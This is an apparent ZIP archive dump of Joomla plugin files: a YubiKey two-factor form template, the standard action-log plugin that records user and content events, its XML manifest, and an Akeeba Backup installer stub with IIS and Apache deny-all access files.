PK�(]�Q�ee#twofactorauth/yubikey/tmpl/form.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Twofactorauth.yubikey.tmpl
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<div class="well">
	<?php echo JText::_('PLG_TWOFACTORAUTH_YUBIKEY_INTRO') ?>
</div>

<?php if ($new_totp): ?>
<fieldset>
	<legend>
		<?php echo JText::_('PLG_TWOFACTORAUTH_YUBIKEY_STEP1_HEAD') ?>
	</legend>

	<p>
		<?php echo JText::_('PLG_TWOFACTORAUTH_YUBIKEY_STEP1_TEXT') ?>
	</p>

	<div class="control-group">
		<label class="control-label" for="yubikeysecuritycode">
			<?php echo JText::_('PLG_TWOFACTORAUTH_YUBIKEY_SECURITYCODE') ?>
		</label>
		<div class="controls">
			<input type="text" class="input-medium" name="jform[twofactor][yubikey][securitycode]" id="yubikeysecuritycode" autocomplete="0">
		</div>
	</div>
</fieldset>
<?php else: ?>
<fieldset>
	<legend>
		<?php echo JText::_('PLG_TWOFACTORAUTH_TOTP_RESET_HEAD') ?>
	</legend>

	<p>
		<?php echo JText::_('PLG_TWOFACTORAUTH_TOTP_RESET_TEXT') ?>
	</p>
</fieldset>
<?php endif; ?>
PK�(]�>[>�s�sactionlog/joomla/joomla.phpnu�[���<?php
/**
 * @package     Joomla.Plugins
 * @subpackage  System.actionlogs
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\User\User;
use Joomla\CMS\Version;
use Joomla\Utilities\ArrayHelper;

JLoader::register('ActionLogPlugin', JPATH_ADMINISTRATOR . '/components/com_actionlogs/libraries/actionlogplugin.php');
JLoader::register('ActionlogsHelper', JPATH_ADMINISTRATOR . '/components/com_actionlogs/helpers/actionlogs.php');

/**
 * Joomla! Users Actions Logging Plugin.
 *
 * @since  3.9.0
 */
class PlgActionlogJoomla extends ActionLogPlugin
{
	/**
	 * Array of loggable extensions.
	 *
	 * @var    array
	 * @since  3.9.0
	 */
	protected $loggableExtensions = array();

	/**
	 * Context aliases
	 *
	 * @var    array
	 * @since  3.9.0
	 */
	protected $contextAliases = array('com_content.form' => 'com_content.article');

	/**
	 * Constructor.
	 *
	 * @param   object  &$subject  The object to observe.
	 * @param   array   $config    An optional associative array of configuration settings.
	 *
	 * @since   3.9.0
	 */
	public function __construct(&$subject, $config)
	{
		parent::__construct($subject, $config);

		$params = ComponentHelper::getComponent('com_actionlogs')->getParams();

		$this->loggableExtensions = $params->get('loggable_extensions', array());
	}

	/**
	 * After save content logging method
	 * This method adds a record to #__action_logs contains (message, date, context, user)
	 * Method is called right after the content is saved
	 *
	 * @param   string   $context  The context of the content passed to the plugin
	 * @param   object   $article  A JTableContent object
	 * @param   boolean  $isNew    If the content is just about to be created
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onContentAfterSave($context, $article, $isNew)
	{
		if (isset($this->contextAliases[$context]))
		{
			$context = $this->contextAliases[$context];
		}

		$option = $this->app->input->getCmd('option');

		if (!$this->checkLoggable($option))
		{
			return;
		}

		$params = ActionlogsHelper::getLogContentTypeParams($context);

		// Not found a valid content type, don't process further
		if ($params === null)
		{
			return;
		}

		list(, $contentType) = explode('.', $params->type_alias);

		if ($isNew)
		{
			$messageLanguageKey = $params->text_prefix . '_' . $params->type_title . '_ADDED';
			$defaultLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_ADDED';
		}
		else
		{
			$messageLanguageKey = $params->text_prefix . '_' . $params->type_title . '_UPDATED';
			$defaultLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_UPDATED';
		}

		// If the content type doesn't has it own language key, use default language key
		if (!$this->app->getLanguage()->hasKey($messageLanguageKey))
		{
			$messageLanguageKey = $defaultLanguageKey;
		}

		$id = empty($params->id_holder) ? 0 : $article->get($params->id_holder);

		$message = array(
			'action'   => $isNew ? 'add' : 'update',
			'type'     => $params->text_prefix . '_TYPE_' . $params->type_title,
			'id'       => $id,
			'title'    => $article->get($params->title_holder),
			'itemlink' => ActionlogsHelper::getContentTypeLink($option, $contentType, $id, $params->id_holder, $article),
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * After delete content logging method
	 * This method adds a record to #__action_logs contains (message, date, context, user)
	 * Method is called right after the content is deleted
	 *
	 * @param   string  $context  The context of the content passed to the plugin
	 * @param   object  $article  A JTableContent object
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onContentAfterDelete($context, $article)
	{
		$option = $this->app->input->get('option');

		if (!$this->checkLoggable($option))
		{
			return;
		}

		$params = ActionlogsHelper::getLogContentTypeParams($context);

		// Not found a valid content type, don't process further
		if ($params === null)
		{
			return;
		}

		// If the content type has it own language key, use it, otherwise, use default language key
		if ($this->app->getLanguage()->hasKey(strtoupper($params->text_prefix . '_' . $params->type_title . '_DELETED')))
		{
			$messageLanguageKey = $params->text_prefix . '_' . $params->type_title . '_DELETED';
		}
		else
		{
			$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_DELETED';
		}

		$id = empty($params->id_holder) ? 0 : $article->get($params->id_holder);

		$message = array(
			'action' => 'delete',
			'type'   => $params->text_prefix . '_TYPE_' . $params->type_title,
			'id'     => $id,
			'title'  => $article->get($params->title_holder)
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * On content change status logging method
	 * This method adds a record to #__action_logs contains (message, date, context, user)
	 * Method is called when the status of the article is changed
	 *
	 * @param   string   $context  The context of the content passed to the plugin
	 * @param   array    $pks      An array of primary key ids of the content that has changed state.
	 * @param   integer  $value    The value of the state that the content has been changed to.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onContentChangeState($context, $pks, $value)
	{
		$option = $this->app->input->getCmd('option');

		if (!$this->checkLoggable($option))
		{
			return;
		}

		$params = ActionlogsHelper::getLogContentTypeParams($context);

		// Not found a valid content type, don't process further
		if ($params === null)
		{
			return;
		}

		list(, $contentType) = explode('.', $params->type_alias);

		switch ($value)
		{
			case 0:
				$messageLanguageKey = $params->text_prefix . '_' . $params->type_title . '_UNPUBLISHED';
				$defaultLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_UNPUBLISHED';
				$action             = 'unpublish';
				break;
			case 1:
				$messageLanguageKey = $params->text_prefix . '_' . $params->type_title . '_PUBLISHED';
				$defaultLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_PUBLISHED';
				$action             = 'publish';
				break;
			case 2:
				$messageLanguageKey = $params->text_prefix . '_' . $params->type_title . '_ARCHIVED';
				$defaultLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_ARCHIVED';
				$action             = 'archive';
				break;
			case -2:
				$messageLanguageKey = $params->text_prefix . '_' . $params->type_title . '_TRASHED';
				$defaultLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_TRASHED';
				$action             = 'trash';
				break;
			default:
				$messageLanguageKey = '';
				$defaultLanguageKey = '';
				$action             = '';
				break;
		}

		// If the content type doesn't has it own language key, use default language key
		if (!$this->app->getLanguage()->hasKey($messageLanguageKey))
		{
			$messageLanguageKey = $defaultLanguageKey;
		}

		$db    = $this->db;
		$query = $db->getQuery(true)
			->select($db->quoteName(array($params->title_holder, $params->id_holder)))
			->from($db->quoteName($params->table_name))
			->where($db->quoteName($params->id_holder) . ' IN (' . implode(',', ArrayHelper::toInteger($pks)) . ')');
		$db->setQuery($query);

		try
		{
			$items = $db->loadObjectList($params->id_holder);
		}
		catch (RuntimeException $e)
		{
			$items = array();
		}

		$messages = array();

		foreach ($pks as $pk)
		{
			$message = array(
				'action'      => $action,
				'type'        => $params->text_prefix . '_TYPE_' . $params->type_title,
				'id'          => $pk,
				'title'       => $items[$pk]->{$params->title_holder},
				'itemlink'    => ActionlogsHelper::getContentTypeLink($option, $contentType, $pk, $params->id_holder, null)
			);

			$messages[] = $message;
		}

		$this->addLog($messages, $messageLanguageKey, $context);
	}

	/**
	 * On Saving application configuration logging method
	 * Method is called when the application config is being saved
	 *
	 * @param   JRegistry  $config  JRegistry object with the new config
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onApplicationAfterSave($config)
	{
		$option = $this->app->input->getCmd('option');

		if (!$this->checkLoggable($option))
		{
			return;
		}

		$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_APPLICATION_CONFIG_UPDATED';
		$action             = 'update';

		$message = array(
			'action'         => $action,
			'type'           => 'PLG_ACTIONLOG_JOOMLA_TYPE_APPLICATION_CONFIG',
			'extension_name' => 'com_config.application',
			'itemlink'       => 'index.php?option=com_config'
		);

		$this->addLog(array($message), $messageLanguageKey, 'com_config.application');
	}

	/**
	 * On installing extensions logging method
	 * This method adds a record to #__action_logs contains (message, date, context, user)
	 * Method is called when an extension is installed
	 *
	 * @param   JInstaller  $installer  Installer object
	 * @param   integer     $eid        Extension Identifier
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onExtensionAfterInstall($installer, $eid)
	{
		$context = $this->app->input->get('option');

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$manifest      = $installer->get('manifest');

		if ($manifest === null)
		{
			return;
		}

		$extensionType = $manifest->attributes()->type;

		// If the extension type has it own language key, use it, otherwise, use default language key
		if ($this->app->getLanguage()->hasKey(strtoupper('PLG_ACTIONLOG_JOOMLA_' . $extensionType . '_INSTALLED')))
		{
			$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_' . $extensionType . '_INSTALLED';
		}
		else
		{
			$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_EXTENSION_INSTALLED';
		}

		$message = array(
			'action'         => 'install',
			'type'           => 'PLG_ACTIONLOG_JOOMLA_TYPE_' . $extensionType,
			'id'             => $eid,
			'name'           => (string) $manifest->name,
			'extension_name' => (string) $manifest->name
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * On uninstalling extensions logging method
	 * This method adds a record to #__action_logs contains (message, date, context, user)
	 * Method is called when an extension is uninstalled
	 *
	 * @param   JInstaller  $installer  Installer instance
	 * @param   integer     $eid        Extension id
	 * @param   integer     $result     Installation result
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onExtensionAfterUninstall($installer, $eid, $result)
	{
		$context = $this->app->input->get('option');

		if (!$this->checkLoggable($context))
		{
			return;
		}

		// If the process failed, we don't have manifest data, stop process to avoid fatal error
		if ($result === false)
		{
			return;
		}

		$manifest      = $installer->get('manifest');

		if ($manifest === null)
		{
			return;
		}

		$extensionType = $manifest->attributes()->type;

		// If the extension type has it own language key, use it, otherwise, use default language key
		if ($this->app->getLanguage()->hasKey(strtoupper('PLG_ACTIONLOG_JOOMLA_' . $extensionType . '_UNINSTALLED')))
		{
			$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_' . $extensionType . '_UNINSTALLED';
		}
		else
		{
			$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_EXTENSION_UNINSTALLED';
		}

		$message = array(
			'action'         => 'install',
			'type'           => 'PLG_ACTIONLOG_JOOMLA_TYPE_' . $extensionType,
			'id'             => $eid,
			'name'           => (string) $manifest->name,
			'extension_name' => (string) $manifest->name
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * On updating extensions logging method
	 * This method adds a record to #__action_logs contains (message, date, context, user)
	 * Method is called when an extension is updated
	 *
	 * @param   JInstaller  $installer  Installer instance
	 * @param   integer     $eid        Extension id
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onExtensionAfterUpdate($installer, $eid)
	{
		$context = $this->app->input->get('option');

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$manifest      = $installer->get('manifest');

		if ($manifest === null)
		{
			return;
		}

		$extensionType = $manifest->attributes()->type;

		// If the extension type has it own language key, use it, otherwise, use default language key
		if ($this->app->getLanguage()->hasKey('PLG_ACTIONLOG_JOOMLA_' . $extensionType . '_UPDATED'))
		{
			$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_' . $extensionType . '_UPDATED';
		}
		else
		{
			$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_EXTENSION_UPDATED';
		}

		$message = array(
			'action'         => 'update',
			'type'           => 'PLG_ACTIONLOG_JOOMLA_TYPE_' . $extensionType,
			'id'             => $eid,
			'name'           => (string) $manifest->name,
			'extension_name' => (string) $manifest->name
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * On Saving extensions logging method
	 * Method is called when an extension is being saved
	 *
	 * @param   string   $context  The extension
	 * @param   JTable   $table    DataBase Table object
	 * @param   boolean  $isNew    If the extension is new or not
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onExtensionAfterSave($context, $table, $isNew)
	{
		$option = $this->app->input->getCmd('option');

		if ($table->get('module') != null)
		{
			$option = 'com_modules';
		}

		if (!$this->checkLoggable($option))
		{
			return;
		}

		$params = ActionlogsHelper::getLogContentTypeParams($context);

		// Not found a valid content type, don't process further
		if ($params === null)
		{
			return;
		}

		list(, $contentType) = explode('.', $params->type_alias);

		if ($isNew)
		{
			$messageLanguageKey = $params->text_prefix . '_' . $params->type_title . '_ADDED';
			$defaultLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_ADDED';
		}
		else
		{
			$messageLanguageKey = $params->text_prefix . '_' . $params->type_title . '_UPDATED';
			$defaultLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_UPDATED';
		}

		// If the extension type doesn't have it own language key, use default language key
		if (!$this->app->getLanguage()->hasKey($messageLanguageKey))
		{
			$messageLanguageKey = $defaultLanguageKey;
		}

		$message = array(
			'action'         => $isNew ? 'add' : 'update',
			'type'           => 'PLG_ACTIONLOG_JOOMLA_TYPE_' . $params->type_title,
			'id'             => $table->get($params->id_holder),
			'title'          => $table->get($params->title_holder),
			'extension_name' => $table->get($params->title_holder),
			'itemlink'       => ActionlogsHelper::getContentTypeLink($option, $contentType, $table->get($params->id_holder), $params->id_holder, null)
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * On Deleting extensions logging method
	 * Method is called when an extension is being deleted
	 *
	 * @param   string  $context  The extension
	 * @param   JTable  $table    DataBase Table object
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onExtensionAfterDelete($context, $table)
	{
		if (!$this->checkLoggable($this->app->input->get('option')))
		{
			return;
		}

		$params = ActionlogsHelper::getLogContentTypeParams($context);

		// Not found a valid content type, don't process further
		if ($params === null)
		{
			return;
		}

		$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_DELETED';

		$message = array(
			'action' => 'delete',
			'type'   => 'PLG_ACTIONLOG_JOOMLA_TYPE_' . $params->type_title,
			'title'  => $table->get($params->title_holder)
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * On saving user data logging method
	 *
	 * Method is called after user data is stored in the database.
	 * This method logs who created/edited any user's data
	 *
	 * @param   array    $user     Holds the new user data.
	 * @param   boolean  $isnew    True if a new user is stored.
	 * @param   boolean  $success  True if user was successfully stored in the database.
	 * @param   string   $msg      Message.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterSave($user, $isnew, $success, $msg)
	{
		$context = $this->app->input->get('option');
		$task    = $this->app->input->get->getCmd('task');

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$jUser = Factory::getUser();

		if (!$jUser->id)
		{
			$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_USER_REGISTERED';
			$action             = 'register';

			// Reset request
			if ($task === 'reset.request')
			{
				$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_USER_RESET_REQUEST';
				$action             = 'resetrequest';
			}

			// Reset complete
			if ($task === 'reset.complete')
			{
				$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_USER_RESET_COMPLETE';
				$action             = 'resetcomplete';
			}

			// Registration Activation
			if ($task === 'registration.activate')
			{
				$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_USER_REGISTRATION_ACTIVATE';
				$action             = 'activaterequest';
			}
		}
		elseif ($isnew)
		{
			$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_ADDED';
			$action             = 'add';
		}
		else
		{
			$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_UPDATED';
			$action             = 'update';
		}

		$userId   = $jUser->id ?: $user['id'];
		$username = $jUser->username ?: $user['username'];

		$message = array(
			'action'      => $action,
			'type'        => 'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
			'id'          => $user['id'],
			'title'       => $user['name'],
			'itemlink'    => 'index.php?option=com_users&task=user.edit&id=' . $user['id'],
			'userid'      => $userId,
			'username'    => $username,
			'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $userId,
		);

		$this->addLog(array($message), $messageLanguageKey, $context, $userId);
	}

	/**
	 * On deleting user data logging method
	 *
	 * Method is called after user data is deleted from the database
	 *
	 * @param   array    $user     Holds the user data
	 * @param   boolean  $success  True if user was successfully stored in the database
	 * @param   string   $msg      Message
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterDelete($user, $success, $msg)
	{
		$context = $this->app->input->get('option');

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_DELETED';

		$message = array(
			'action'      => 'delete',
			'type'        => 'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
			'id'          => $user['id'],
			'title'       => $user['name']
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * On after save user group data logging method
	 *
	 * Method is called after user group is stored into the database
	 *
	 * @param   string   $context  The context
	 * @param   JTable   $table    DataBase Table object
	 * @param   boolean  $isNew    Is new or not
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterSaveGroup($context, $table, $isNew)
	{
		// Override context (com_users.group) with the component context (com_users) to pass the checkLoggable
		$context = $this->app->input->get('option');

		if (!$this->checkLoggable($context))
		{
			return;
		}

		if ($isNew)
		{
			$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_ADDED';
			$action             = 'add';
		}
		else
		{
			$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_UPDATED';
			$action             = 'update';
		}

		$message = array(
			'action'      => $action,
			'type'        => 'PLG_ACTIONLOG_JOOMLA_TYPE_USER_GROUP',
			'id'          => $table->id,
			'title'       => $table->title,
			'itemlink'    => 'index.php?option=com_users&task=group.edit&id=' . $table->id
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * On deleting user group data logging method
	 *
	 * Method is called after user group is deleted from the database
	 *
	 * @param   array    $group    Holds the group data
	 * @param   boolean  $success  True if user was successfully stored in the database
	 * @param   string   $msg      Message
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterDeleteGroup($group, $success, $msg)
	{
		$context = $this->app->input->get('option');

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$messageLanguageKey = 'PLG_SYSTEM_ACTIONLOGS_CONTENT_DELETED';

		$message = array(
			'action'      => 'delete',
			'type'        => 'PLG_ACTIONLOG_JOOMLA_TYPE_USER_GROUP',
			'id'          => $group['id'],
			'title'       => $group['title']
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * Method to log user login success action
	 *
	 * @param   array  $options  Array holding options (user, responseType)
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterLogin($options)
	{
		$context = 'com_users';

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$loggedInUser       = $options['user'];
		$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_USER_LOGGED_IN';

		$message = array(
			'action'      => 'login',
			'userid'      => $loggedInUser->id,
			'username'    => $loggedInUser->username,
			'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $loggedInUser->id,
			'app'         => 'PLG_ACTIONLOG_JOOMLA_APPLICATION_' . $this->app->getName(),
		);

		$this->addLog(array($message), $messageLanguageKey, $context, $loggedInUser->id);
	}

	/**
	 * Method to log user login failed action
	 *
	 * @param   array  $response  Array of response data.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserLoginFailure($response)
	{
		$context = 'com_users';

		if (!$this->checkLoggable($context))
		{
			return;
		}

		// Get the user id for the given username
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName(array('id', 'username')))
			->from($this->db->quoteName('#__users'))
			->where($this->db->quoteName('username') . ' = ' . $this->db->quote($response['username']));
		$this->db->setQuery($query);

		try
		{
			$loggedInUser = $this->db->loadObject();
		}
		catch (JDatabaseExceptionExecuting $e)
		{
			return;
		}

		// Not a valid user, return
		if (!isset($loggedInUser->id))
		{
			return;
		}

		$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_USER_LOGIN_FAILED';

		$message = array(
			'action'      => 'login',
			'id'          => $loggedInUser->id,
			'userid'      => $loggedInUser->id,
			'username'    => $loggedInUser->username,
			'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $loggedInUser->id,
			'app'         => 'PLG_ACTIONLOG_JOOMLA_APPLICATION_' . $this->app->getName(),
		);

		$this->addLog(array($message), $messageLanguageKey, $context, $loggedInUser->id);
	}

	/**
	 * Method to log user's logout action
	 *
	 * @param   array  $user     Holds the user data
	 * @param   array  $options  Array holding options (remember, autoregister, group)
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserLogout($user, $options = array())
	{
		$context = 'com_users';

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$loggedOutUser = User::getInstance($user['id']);

		if ($loggedOutUser->block)
		{
			return;
		}

		$messageLanguageKey = 'PLG_ACTIONLOG_JOOMLA_USER_LOGGED_OUT';

		$message = array(
			'action'      => 'logout',
			'id'          => $loggedOutUser->id,
			'userid'      => $loggedOutUser->id,
			'username'    => $loggedOutUser->username,
			'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $loggedOutUser->id,
			'app'         => 'PLG_ACTIONLOG_JOOMLA_APPLICATION_' . $this->app->getName(),
		);

		$this->addLog(array($message), $messageLanguageKey, $context);
	}

	/**
	 * Function to check if a component is loggable or not
	 *
	 * @param   string  $extension  The extension that triggered the event
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	protected function checkLoggable($extension)
	{
		return in_array($extension, $this->loggableExtensions);
	}

	/**
	 * On after Remind username request
	 *
	 * Method is called after user request to remind their username.
	 *
	 * @param   array  $user  Holds the user data.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterRemind($user)
	{
		$context = $this->app->input->get('option');

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$message = array(
			'action'      => 'remind',
			'type'        => 'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
			'id'          => $user->id,
			'title'       => $user->name,
			'itemlink'    => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
			'userid'      => $user->id,
			'username'    => $user->name,
			'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
		);

		$this->addLog(array($message), 'PLG_ACTIONLOG_JOOMLA_USER_REMIND', $context, $user->id);
	}

	/**
	 * On after Check-in request
	 *
	 * Method is called after user request to check-in items.
	 *
	 * @param   array  $table  Holds the table name.
	 *
	 * @return  void
	 *
	 * @since   3.9.3
	 */
	public function onAfterCheckin($table)
	{
		$context = 'com_checkin';
		$user    = Factory::getUser();

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$message = array(
			'action'      => 'checkin',
			'type'        => 'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
			'id'          => $user->id,
			'title'       => $user->username,
			'itemlink'    => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
			'userid'      => $user->id,
			'username'    => $user->username,
			'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
			'table'       => $table,
		);

		$this->addLog(array($message), 'PLG_ACTIONLOG_JOOMLA_USER_CHECKIN', $context, $user->id);
	}

	/**
	 * On after log action purge
	 *
	 * Method is called after user request to clean action log items.
	 *
	 * @param   array  $group  Holds the group name.
	 *
	 * @return  void
	 *
	 * @since   3.9.4
	 */
	public function onAfterLogPurge($group = '')
	{
		$context = $this->app->input->get('option');
		$user    = Factory::getUser();
		$message = array(
			'action'      => 'actionlogs',
			'type'        => 'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
			'id'          => $user->id,
			'title'       => $user->username,
			'itemlink'    => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
			'userid'      => $user->id,
			'username'    => $user->username,
			'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
		);
		$this->addLog(array($message), 'PLG_ACTIONLOG_JOOMLA_USER_LOG', $context, $user->id);
	}

	/**
	 * On after log export
	 *
	 * Method is called after user request to export action log items.
	 *
	 * @param   array  $group  Holds the group name.
	 *
	 * @return  void
	 *
	 * @since   3.9.4
	 */
	public function onAfterLogExport($group = '')
	{
		$context = $this->app->input->get('option');
		$user    = Factory::getUser();
		$message = array(
			'action'      => 'actionlogs',
			'type'        => 'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
			'id'          => $user->id,
			'title'       => $user->username,
			'itemlink'    => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
			'userid'      => $user->id,
			'username'    => $user->username,
			'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
		);
		$this->addLog(array($message), 'PLG_ACTIONLOG_JOOMLA_USER_LOGEXPORT', $context, $user->id);
	}

	/**
	 * On after Cache purge
	 *
	 * Method is called after user request to clean cached items.
	 *
	 * @param   string  $group  Holds the group name.
	 *
	 * @return  void
	 *
	 * @since   3.9.4
	 */
	public function onAfterPurge($group = 'all')
	{
		$context = $this->app->input->get('option');
		$user    = JFactory::getUser();

		if (!$this->checkLoggable($context))
		{
			return;
		}

		$message = array(
			'action'      => 'cache',
			'type'        => 'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
			'id'          => $user->id,
			'title'       => $user->username,
			'itemlink'    => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
			'userid'      => $user->id,
			'username'    => $user->username,
			'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
			'group'       => $group,
		);
		$this->addLog(array($message), 'PLG_ACTIONLOG_JOOMLA_USER_CACHE', $context, $user->id);
	}

	/**
	 * On after CMS Update
	 *
	 * Method is called after user update the CMS.
	 *
	 * @param   string  $oldVersion  The Joomla version before the update
	 *
	 * @return  void
	 *
	 * @since   3.9.21
	 */
	public function onJoomlaAfterUpdate($oldVersion = null)
	{
		$context = $this->app->input->get('option');
		$user    = JFactory::getUser();

		if (empty($oldVersion))
		{
			$oldVersion = JText::_('JLIB_UNKNOWN');
		}

		$message = array(
			'action'      => 'joomlaupdate',
			'type'        => 'PLG_ACTIONLOG_JOOMLA_TYPE_USER',
			'id'          => $user->id,
			'title'       => $user->username,
			'itemlink'    => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
			'userid'      => $user->id,
			'username'    => $user->username,
			'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $user->id,
			'version'     => JVERSION,
			'oldversion'  => $oldVersion,
		);
		$this->addLog(array($message), 'PLG_ACTIONLOG_JOOMLA_USER_UPDATE', $context, $user->id);
	}
}
PK�(]7K�Xactionlog/joomla/joomla.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<extension version="3.9" type="plugin" group="actionlog" method="upgrade">
	<name>PLG_ACTIONLOG_JOOMLA</name>
	<author>Joomla! Project</author>
	<creationDate>May 2018</creationDate>
	<copyright>(C) 2018 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.9.0</version>
	<description>PLG_ACTIONLOG_JOOMLA_XML_DESCRIPTION</description>
	<files>
		<filename plugin="joomla">joomla.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_actionlog_joomla.ini</language>
		<language tag="en-GB">en-GB.plg_actionlog_joomla.sys.ini</language>
	</languages>
</extension>
PK�(]NH���!actionlog/akeebabackup/script.phpnu�[���<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

use FOF40\InstallScript\Plugin;

defined('_JEXEC') || die;

// Load FOF if not already loaded
if (!defined('FOF40_INCLUDED') && !@include_once(JPATH_LIBRARIES . '/fof40/include.php'))
{
	throw new RuntimeException('This extension requires FOF 4.');
}

class plgActionlogAkeebabackupInstallerScript extends Plugin
{
}
PK�(]|��N!actionlog/akeebabackup/web.confignu�[���<?xml version="1.0"?>
<!--
    This only works on IIS 7 or later. See https://www.iis.net/configreference/system.webserver/security/requestfiltering/fileextensions
-->
<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <fileExtensions allowUnlisted="false" >
                    <clear />
                    <add fileExtension=".html" allowed="true"/>
                </fileExtensions>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>PK�(]��ѡ�� actionlog/akeebabackup/.htaccessnu�[���<IfModule !mod_authz_core.c>
Order deny,allow
Deny from all
</IfModule>
<IfModule mod_authz_core.c>
  <RequireAll>
    Require all denied
  </RequireAll>
</IfModule>
